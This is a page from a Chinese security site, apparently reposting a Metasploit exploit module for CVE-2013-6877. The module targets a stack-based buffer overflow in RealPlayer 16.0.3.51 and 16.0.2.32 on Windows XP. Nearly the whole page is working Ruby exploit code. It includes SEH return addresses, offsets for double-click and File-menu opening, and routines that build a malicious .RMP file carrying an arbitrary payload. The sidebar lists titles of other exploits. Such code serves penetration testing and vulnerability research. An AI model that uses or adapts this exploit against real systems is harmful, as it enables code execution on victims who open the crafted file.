首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
RealNetworks RealPlayer Version Attribute Buffer Overflow
来源:metasploit.com 作者:Seljan 发布时间:2013-12-27  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'RealNetworks RealPlayer Version Attribute Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow vulnerability in
        version 16.0.3.51 and 16.0.2.32 of RealNetworks RealPlayer, caused by
        improper bounds checking of the version and encoding attributes inside
        the XML declaration.

        By persuading the victim to open a specially-crafted .RMP file, a
        remote attacker could execute arbitrary code on the system or cause
        the application to crash.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Gabor Seljan' # Vulnerability discovery and Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-6877' ],
          [ 'URL', 'http://service.real.com/realplayer/security/12202013_player/en/' ]
        ],
      'DefaultOptions' =>
        {
          'ExitFunction' => 'seh'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'  => "\x00\x22",
          'Space'     => 532,
        },
      'Targets'       =>
        [
          [ 'Windows XP SP2/SP3 (NX) / Real Player 16.0.3.51',
            {
              'OffsetClick' => 2540,       # Open via double click
              'OffsetMenu'  => 13600,      # Open via File -> Open
              'Ret'         => 0x641930C8  # POP POP RET from rpap3260.dll
            }
          ],
          [ 'Windows XP SP2/SP3 (NX) / Real Player 16.0.2.32',
            {
              'OffsetClick' => 2540,       # Open via double click
              'OffsetMenu'  => 13600,      # Open via File -> Open
              'Ret'         => 0x63A630B8  # POP POP RET from rpap3260.dll
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Dec 20 2013',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [ false, 'The file name.', 'msf.rmp'])
        ],
      self.class)

  end

  def exploit

    sploit =  rand_text_alpha_upper(target['OffsetClick'])
    sploit << generate_seh_payload(target.ret)
    sploit << rand_text_alpha_upper(target['OffsetMenu'] - sploit.length)
    sploit << generate_seh_payload(target.ret)
    sploit << rand_text_alpha_upper(17000) # Generate exception

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create("<?xml version=\"" + sploit + "\"?>")

  end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Huawei Technologies du Mobile
·Windows Live Movie Maker 2011
·RealNetworks RealPlayer 16.0.3
·Ophcrack 3.6 Local Buffer Over
·Easy Karaoke Player 3.3.31 Int
·Ofilter Player 1.1 Integer Div
·Red Hat CloudForms Management
·Red Hat CloudForms Management
·Synology DiskStation Manager S
·PhotoStore 4.0.7. Shell Upload
·OpenSIS 'modname' PHP Code Exe
·VM86 Syscall Kernel Panic
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved